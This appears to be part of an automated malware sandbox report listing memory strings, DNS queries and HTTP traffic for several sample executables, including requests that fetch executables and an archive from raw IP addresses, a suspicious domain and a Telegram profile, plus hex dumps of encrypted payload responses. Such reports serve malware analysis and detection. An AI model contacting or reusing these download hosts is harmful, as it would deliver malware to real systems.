Source: 37F1.exe, 0000000C.00000002.549362346.00000000050B7000.00000004.00000800.00020000.00000000.sdmp, 37F1.exe, 0000000C.00000002.548078417.0000000004FB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id1Response
Source: 37F1.exe, 0000000C.00000002.549362346.00000000050B7000.00000004.00000800.00020000.00000000.sdmp, 37F1.exe, 0000000C.00000002.548078417.0000000004FB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id2
Source: 37F1.exe, 0000000C.00000002.549362346.00000000050B7000.00000004.00000800.00020000.00000000.sdmp, 37F1.exe, 0000000C.00000002.548078417.0000000004FB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id20
Source: 37F1.exe, 0000000C.00000002.549362346.00000000050B7000.00000004.00000800.00020000.00000000.sdmp, 37F1.exe, 0000000C.00000002.548078417.0000000004FB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id20Response
Source: 37F1.exe, 0000000C.00000002.549362346.00000000050B7000.00000004.00000800.00020000.00000000.sdmp, 37F1.exe, 0000000C.00000002.548078417.0000000004FB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id21
Source: 37F1.exe, 0000000C.00000002.549362346.00000000050B7000.00000004.00000800.00020000.00000000.sdmp, 37F1.exe, 0000000C.00000002.548078417.0000000004FB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id21Response
Source: 37F1.exe, 0000000C.00000002.549362346.00000000050B7000.00000004.00000800.00020000.00000000.sdmp, 37F1.exe, 0000000C.00000002.548078417.0000000004FB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id22
Source: 37F1.exe, 0000000C.00000002.549362346.00000000050B7000.00000004.00000800.00020000.00000000.sdmp, 37F1.exe, 0000000C.00000002.548078417.0000000004FB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id22Response
Source: 37F1.exe, 0000000C.00000002.549362346.00000000050B7000.00000004.00000800.00020000.00000000.sdmp, 37F1.exe, 0000000C.00000002.548078417.0000000004FB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id23
Source: 37F1.exe, 0000000C.00000002.549362346.00000000050B7000.00000004.00000800.00020000.00000000.sdmp, 37F1.exe, 0000000C.00000002.548078417.0000000004FB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id23Response
Source: 37F1.exe, 0000000C.00000002.549362346.00000000050B7000.00000004.00000800.00020000.00000000.sdmp, 37F1.exe, 0000000C.00000002.548078417.0000000004FB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id24
Source: 37F1.exe, 0000000C.00000002.549362346.00000000050B7000.00000004.00000800.00020000.00000000.sdmp, 37F1.exe, 0000000C.00000002.548078417.0000000004FB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id24Response
Source: 37F1.exe, 0000000C.00000002.549362346.00000000050B7000.00000004.00000800.00020000.00000000.sdmp, 37F1.exe, 0000000C.00000002.548078417.0000000004FB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id2Response
Source: 37F1.exe, 0000000C.00000002.549362346.00000000050B7000.00000004.00000800.00020000.00000000.sdmp, 37F1.exe, 0000000C.00000002.548078417.0000000004FB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id3
Source: 37F1.exe, 0000000C.00000002.549362346.00000000050B7000.00000004.00000800.00020000.00000000.sdmp, 37F1.exe, 0000000C.00000002.548078417.0000000004FB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id3Response
Source: 37F1.exe, 0000000C.00000002.549362346.00000000050B7000.00000004.00000800.00020000.00000000.sdmp, 37F1.exe, 0000000C.00000002.548078417.0000000004FB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id4
Source: 37F1.exe, 0000000C.00000002.549362346.00000000050B7000.00000004.00000800.00020000.00000000.sdmp, 37F1.exe, 0000000C.00000002.548078417.0000000004FB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id4Response
Source: 37F1.exe, 0000000C.00000002.549362346.00000000050B7000.00000004.00000800.00020000.00000000.sdmp, 37F1.exe, 0000000C.00000002.548078417.0000000004FB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id5
Source: 37F1.exe, 0000000C.00000002.549362346.00000000050B7000.00000004.00000800.00020000.00000000.sdmp, 37F1.exe, 0000000C.00000002.548078417.0000000004FB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id5Response
Source: 37F1.exe, 0000000C.00000002.549362346.00000000050B7000.00000004.00000800.00020000.00000000.sdmp, 37F1.exe, 0000000C.00000002.548078417.0000000004FB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id6
Source: 37F1.exe, 0000000C.00000002.549362346.00000000050B7000.00000004.00000800.00020000.00000000.sdmp, 37F1.exe, 0000000C.00000002.548078417.0000000004FB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id6Response
Source: 37F1.exe, 0000000C.00000002.549362346.00000000050B7000.00000004.00000800.00020000.00000000.sdmp, 37F1.exe, 0000000C.00000002.548078417.0000000004FB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id7
Source: 37F1.exe, 0000000C.00000002.549362346.00000000050B7000.00000004.00000800.00020000.00000000.sdmp, 37F1.exe, 0000000C.00000002.548078417.0000000004FB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id7Response
Source: 37F1.exe, 0000000C.00000002.549362346.00000000050B7000.00000004.00000800.00020000.00000000.sdmp, 37F1.exe, 0000000C.00000002.548078417.0000000004FB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id8
Source: 37F1.exe, 0000000C.00000002.549362346.00000000050B7000.00000004.00000800.00020000.00000000.sdmp, 37F1.exe, 0000000C.00000002.548078417.0000000004FB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id8Response
Source: 37F1.exe, 0000000C.00000002.549362346.00000000050B7000.00000004.00000800.00020000.00000000.sdmp, 37F1.exe, 0000000C.00000002.548078417.0000000004FB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id9
Source: 37F1.exe, 0000000C.00000002.549362346.00000000050B7000.00000004.00000800.00020000.00000000.sdmp, 37F1.exe, 0000000C.00000002.548078417.0000000004FB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id9Response
Source: explorer.exe, 00000001.00000000.267707719.0000000000AC8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.335250182.000000000F52A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.353966901.0000000008442000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.311720249.0000000000AC8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.322805937.0000000008442000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.340820239.0000000000AC8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.280437833.0000000008442000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.298806313.000000000F52A000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.autoitscript.com/autoit3/J
Source: 5999.exe, 00000019.00000000.456775427.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://www.openssl.org/support/faq.html
Source: 5487.exe, 00000012.00000002.530354600.0000000061ED3000.00000008.00000001.01000000.00000013.sdmp, sqlite3.dll.18.dr	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: 48699315731429539716450555.18.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: 5999.exe, 00000013.00000002.474602203.0000000002370000.00000040.00001000.00020000.00000000.sdmp, 5999.exe, 00000019.00000000.458476037.0000000000400000.00000040.00000400.00020000.00000000.sdmp, 5999.exe, 00000019.00000002.480385928.0000000000400000.00000040.00000400.00020000.00000000.sdmp, 5999.exe, 00000019.00000000.456775427.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.json
Source: 37F1.exe, 0000000C.00000002.549799190.0000000005F55000.00000004.00000800.00020000.00000000.sdmp, 37F1.exe, 0000000C.00000002.545785192.0000000004B70000.00000004.08000000.00040000.00000000.sdmp, 37F1.exe, 0000000C.00000002.544624082.0000000004A4A000.00000004.00000800.00020000.00000000.sdmp, 37F1.exe, 0000000C.00000002.550663724.0000000007290000.00000004.08000000.00040000.00000000.sdmp, 37F1.exe, 0000000C.00000003.426623227.0000000002EB9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.ip.sb/ip
Source: 5487.exe, 00000012.00000002.511826941.0000000000890000.00000040.00001000.00020000.00000000.sdmp, 5487.exe, 00000012.00000002.509467552.0000000000400000.00000040.00000001.01000000.0000000D.sdmp, 5487.exe, 00000012.00000003.421456756.00000000008F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://c.im/
Source: 48699315731429539716450555.18.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: 48699315731429539716450555.18.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: 58104588985205123450110019.18.dr, 561C.tmp.20.dr, 48699315731429539716450555.18.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: 48699315731429539716450555.18.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 58104588985205123450110019.18.dr, 561C.tmp.20.dr, 48699315731429539716450555.18.dr	String found in binary or memory: https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search
Source: 58104588985205123450110019.18.dr, 561C.tmp.20.dr, 48699315731429539716450555.18.dr	String found in binary or memory: https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas_sfp&command=
Source: 58104588985205123450110019.18.dr, 561C.tmp.20.dr, 48699315731429539716450555.18.dr	String found in binary or memory: https://search.yahoo.com?fr=crmas_sfp
Source: 58104588985205123450110019.18.dr, 561C.tmp.20.dr, 48699315731429539716450555.18.dr	String found in binary or memory: https://search.yahoo.com?fr=crmas_sfpf
Source: 509E.dll.1.dr	String found in binary or memory: https://sectigo.com/CPS0
Source: 5487.exe, 00000012.00000002.513831568.00000000009B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/
Source: 5487.exe, 00000012.00000002.511826941.0000000000890000.00000040.00001000.00020000.00000000.sdmp, 5487.exe, 00000012.00000002.509467552.0000000000400000.00000040.00000001.01000000.0000000D.sdmp, 5487.exe, 00000012.00000003.444876306.0000000000A1E000.00000004.00000020.00020000.00000000.sdmp, 5487.exe, 00000012.00000003.446444165.0000000000A2A000.00000004.00000020.00020000.00000000.sdmp, 5487.exe, 00000012.00000002.513831568.00000000009B3000.00000004.00000020.00020000.00000000.sdmp, 5487.exe, 00000012.00000003.421456756.00000000008F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://t.me/truemansho
Source: 5487.exe, 00000012.00000002.511826941.0000000000890000.00000040.00001000.00020000.00000000.sdmp, 5487.exe, 00000012.00000002.509467552.0000000000400000.00000040.00000001.01000000.0000000D.sdmp, 5487.exe, 00000012.00000003.421456756.00000000008F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://t.me/truemanshohttps://c.im/
Source: 5487.exe, 00000012.00000002.521075349.000000001AE50000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://web.telegram.org
Source: 58104588985205123450110019.18.dr, 561C.tmp.20.dr, 48699315731429539716450555.18.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico

Source: unknown

DNS traffic detected: queries for: furubujjul.net

Source: global traffic	HTTP traffic detected: GET /upload/ChromeSetup.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: shingroup.com
Source: global traffic	HTTP traffic detected: GET /truemansho HTTP/1.1Host: t.me
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /s.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 185.174.137.70
Source: global traffic	HTTP traffic detected: GET /1752 HTTP/1.1Host: 95.217.246.41
Source: global traffic	HTTP traffic detected: GET /815243149147.zip HTTP/1.1Host: 95.217.246.41Cache-Control: no-cache

Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713

Source: global traffic	HTTP traffic detected: HTTP/1.1 403 Forbiddendate: Thu, 03 Nov 2022 11:46:48 GMTcontent-type: text/htmlcontent-length: 150vary: Accept-Encodingserver: NginXData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>openresty</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 03 Nov 2022 11:46:48 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 66 66 61 30 0d 0a 19 00 00 00 1f 3d 5a e4 71 20 3c 60 7e 45 e7 de bd d8 f7 26 6f 18 c8 43 85 0c 8a ae 57 00 37 cc 03 00 34 6f 8a 38 01 00 00 00 02 00 9e 03 00 00 73 d2 09 b6 c9 de db c5 ba 1e d7 7f 00 12 17 00 23 c9 75 21 7d 31 a2 02 6b a5 2d 41 ec 51 18 fa f8 e1 fc b7 d5 59 5e d9 fc 05 8a e6 2e b0 b3 25 e5 ea a7 6b bf aa d2 2a a1 30 2e 91 f4 d1 8f ea 9f c6 25 9c c5 89 09 cb 73 4a b2 26 d8 20 90 41 44 69 cf 7e 2f 45 4f d8 13 77 10 87 39 b4 bf 0f f7 e9 19 82 a7 10 b1 d7 19 1a 19 6a 33 fc 4e ec 20 86 9f cf 03 46 7d f0 e6 e5 4f a4 db 03 b4 3f dc 6e 62 a8 cf d0 14 a1 8b 5a 40 bb 9c 22 79 f8 02 92 87 b6 85 0e 2a 26 b7 a0 50 44 13 d1 ad da 68 6b 16 86 cc 76 b9 cc c2 8b e1 c5 1a 29 ca ae 93 ea 2a 85 ed cb d3 f5 00 0b 8c 84 9b 73 73 ac 0e 89 cf 08 3b 19 e1 d1 18 0b 83 49 65 d5 bc a8 fb f8 75 ea 73 e5 36 e7 89 9e bc fc e0 93 9f 0e 30 e3 b1 93 95 97 a7 51 6e c6 76 98 34 61 81 b9 d4 29 1e 0b 48 34 51 ea a8 27 bd a7 d3 19 7b ba fb 14 37 89 40 35 c9 72 ce ff 7e 73 02 80 1d 34 a3 d6 d5 35 54 16 c0 8c 0b b9 9c 39 cc 5a 58 e4 72 4a e6 3d ac 59 3b f2 1d 17 db 53 f1 f9 f8 6d 3c cd 87 c5 4c 80 7e b9 38 2b 2b 80 c9 45 28 26 8c 39 c1 e6 f7 06 d2 9f 3e 54 78 a5 8f 04 e0 44 d8 60 ef b0 31 16 26 48 3c be 6d 48 19 5f 48 77 e4 60 01 bd 87 b0 1c 9d a1 16 f4 36 d8 35 bf ff c2 92 ea 11 27 67 98 42 42 9d 33 db ad c4 a3 26 8a 4b 66 21 d8 e8 f5 cb c5 74 47 a9 b2 e7 8c 03 31 86 6a da 0d d8 d6 c4 39 45 06 a7 92 40 bc b7 0c ee a1 e3 2d e7 7f ff 08 9e 1a e4 a2 39 f6 af eb 37 f9 22 7e d2 9a 52 2e a6 c0 ce 7d 15 3c f7 86 de a3 9b c7 d1 a6 f5 37 e4 1d 47 e4 a8 f1 e3 34 b5 9d 6b e1 c6 0f 1e c2 d1 4c 69 46 31 be 52 37 2a 13 f1 90 bb 5e 00 af bd cf d3 34 dc cd 26 20 32 30 1e 71 18 15 45 d5 f8 9e 0c 94 79 ea b4 f4 f6 da 66 24 c8 7b 72 72 58 6f 47 16 74 8a bd ad 34 13 13 7d 27 a1 79 5d b2 03 f1 af 97 4a cd 31 e2 5d d4 33 e6 16 91 9e fa ae ac e7 2e be bd 94 e8 0e d8 7b bc f4 e5 63 8c d4 89 47 d2 c8 81 4f 81 4f f3 55 43 56 9b 62 c8 4b 42 b3 0a f7 40 ec 9a 8a a3 0e c2 c8 6e 35 97 c7 a8 aa 86 3a 19 e2 ca 43 2a be 48 8a 79 b3 54 95 5f 47 5b d7 47 fd f7 5f 41 16 04 f0 67 35 8b 47 47 b8 26 83 63 1f 06 56 97 9b c9 11 b7 a7 b0 81 21 59 20 1a 5b 8c 1e f9 c3 97 29 59 20 d5 16 8d 88 d8 24 27 06 7e 2a d4 49 96 b7 95 e2 c7 c4 c3 58 e2 79 dd 83 78 0c 00 9c 2f 73 9d 0b d2 68 ac 80 b9 86 58 9d 23 ee 62 21 30 26 25 55 64 97 c5 7b eb cd 77 50 c6 e1 2a f7 16 b2 49 be eb 08 2c 4d df 0d 9d 94 48 cd d5 13 52 e2 13 de 06 be 34 4a 31 36 e1 74 20 08 70 90 ea 7c e9 e1 1d 2f 2a 8b 1f 19 42 a3 08 15 70 4c 61 08 2e 7b 12 13 a7 41 aa e9 c0 c7 f5 b5 aa f6 4d b0 da 53 ef cf 14 a9 19 2b af ac 9e 8e e3 1f 9f 16 ed 55 0a ec 50 18 fe 1d f5 0b 62 61 32 1d 3f 6d 5b 9c ee e0 0e 6a ee b5 4b bc 61 41 bf be 55 b1 b6 0a bb c0 04 c0 77 9c 80 79 af 15 22 6b a8 d0 63 fb a5 ae c0 41 33 36 88 c7 03 e6 ca 58 70 9e d0 a4 9f 65 34 bf ff 2c 83 19 72 4c 35 f7 61 ce
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 03 Nov 2022 11:46:48 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 34 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 147<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 03 Nov 2022 11:46:49 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 66 66 61 30 0d 0a 00 00 b4 60 fb d4 0e 1a 40 10 16 30 80 b7 2c 78 84 4f ad 7d f5 71 b1 34 b2 96 20 c3 49 91 4a 25 39 57 90 06 64 04 ec 38 49 6b 19 b1 cd e4 dc b5 44 a4 06 4a 38 50 87 d2 d9 c3 3e 08 a2 13 f5 8e e2 e3 07 97 8a 06 9e 8f f1 83 0e 25 a6 79 5e 5c 95 03 0f 2e 0e 4b 69 e1 d9 a0 6a 7d ec 53 2e 3b 76 4b 12 73 36 18 28 a6 70 a3 d1 5f 36 6b 85 29 7c f2 c6 e6 70 95 06 7c 93 74 5d b9 53 68 47 8f 2a f5 96 32 68 54 8f ad 7e 3d 23 fd 85 f1 ff 6e 59 32 64 fc eb 13 35 50 b4 3b f7 48 70 b0 d0 9e 5f f2 c6 93 9c 84 0a b6 3b 85 a3 87 a9 fd 5c 9c 3d 3f 01 8b d4 be 6e cf 51 e9 3d 7c 8c 1c de 17 b7 82 06 a7 ab 67 c5 5f 21 94 73 6a a9 9a f5 fc 75 11 bf 6c 13 d9 1e 8b 34 8b 33 4f 62 3e 15 21 0b 5a a3 06 93 3a 56 3f cb 00 73 fb 42 15 9b 06 57 53 a9 06 0e ff 1d 09 52 2b e5 8d 83 7b 9e 45 f5 fe 73 8c 5c db c4 19 12 13 bf f8 62 90 24 08 4f c5 d3 e3 cb a1 61 6e de f5 69 89 18 17 7e 5f ef 9a a5 54 c9 a0 c1 bb dd 7a 08 90 4e 19 e0 2c 95 a9 1d 1a f5 96 be 25 51 61 9a e4 bb 7e 88 2c c8 48 61 26 c6 4a 98 03 fd 6c 9e aa 6b ac 87 3f bd 61 0d c0 4d bf 46 24 fd f8 12 6c 33 6c 39 7c 0a 8d c7 fd e4 0e a4 eb 7e 71 67 99 f4 1a 54 9b 4a d8 19 fe 48 4d e3 11 82 ae 9c 97 02 4c 75 56 ad f3 57 3b 2a b9 72 ee cc 23 b2 b5 8a 33 85 98 90 f7 2f e4 ec e7 6e 2b 4c 80 d0 12 f9 13 63 11 bb d6 af 31 3c 27 d4 69 b7 9f 33 c9 cc 46 d9 48 15 ac 9f c3 d9 55 7d af ba 68 92 0e ff 9d 7f 7f 55 40 57 74 7b 39 c6 e6 ac 04 28 84 42 40 77 9b c7 9b 84 e7 3d 66 f1 8a 64 b1 1d 30 12 51 8c 70 17 4b af 1f ba f6 f6 01 e8 e4 c1 4c a0 90 4e b1 54 55 a5 9a b6 1b 6f c7 cb 29 32 28 e7 5b 1e 54 ab 1e 26 7d 11 ee e3 ce 57 c3 62 79 e4 6b b5 5c 68 91 00 38 85 f3 2c 6e af 03 5b 85 1b e4 a6 65 11 9f 10 b9 d9 b0 99 07 99 8a cd e4 7f 74 39 50 6d 83 e2 cb f8 f9 82 62 7a d7 44 e0 c3 e0 2b f9 30 b9 01 10 17 28 d2 d6 43 1f d0 a1 aa 7a 8f f6 6b e3 cd d0 d9 37 40 80 e3 5c e7 52 90 3e 27 a7 3a 96 29 a3 e7 17 3f 1c 61 7c 4d cc 70 d4 03 09 a9 98 76 6e 0f ca 82 cf 25 2e 9f 96 ce ec 75 98 c3 e5 0d a8 ca d4 5f 29 43 43 9c 55 03 62 18 3a 1d f8 40 aa ae 88 c1 c4 a1 33 25 7d da a9 c3 e8 c8 2f cb e2 09 e8 8b 23 1e ac 18 b8 77 b3 0e 93 81 19 13 88 b9 8c f5 18 97 52 b9 c1 ea 9e 13 e8 b8 4c 45 e1 f0 73 8d 43 d9 ed 07 b2 52 dc 1a 9e 8b 18 57 21 01 7d 42 03 81 96 7f d8 2e 27 9d df 3c 42 56 60 de 9e 73 0f b6 65 a2 25 1f 78 60 38 30 5f d6 a6 b8 78 fe b1 8e 98 6d 18 5e 32 d0 e9 f3 32 42 c2 39 16 12 47 0b e9 17 10 8d e3 51 20 b2 3d db 10 54 5a 17 1c 5c 5a 16 b3 19 5f 11 8f 69 f9 e4 39 2a 01 6e f1 fd 58 b3 dc 95 25 1c 90 53 72 5e 15 33 b5 01 82 e3 92 c2 01 6d 7e d3 85 bc 43 cf 76 62 93 45 e1 05 85 d4 9c 97 2e 60 10 3a 93 8b 94 e5 fe d6 ae 32 c8 6e d5 8d 4a ad fb 91 65 69 17 ee f3 af 84 ed 67 e1 a2 3a 84 aa 58 5d 1c 79 9b 37 67 d2 1f ad af ac d5 54 24 d1 e4 dd b2 3a 6a c0 8e ad 90 bb 9a 05 71 77 92 ae 0f 27 d1 9c 65 53 55 cd ab 48 63 36 cc 82 8e 82 a4 9e 9c bf cb b3 f2
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 03 Nov 2022 11:46:51 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 34 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 147<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 03 Nov 2022 11:46:51 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 32 37 0d 0a 00 00 b5 55 08 b5 79 73 2f 7e 28 10 e8 c3 a7 f7 be 60 3a 4c cd 44 9f 05 85 a2 4e f2 7a a6 64 12 09 78 e3 28 01 7c 89 0d 0a 30 0d 0a 0d 0a Data Ascii: 27Uys/~(`:LDNzdx(\|0
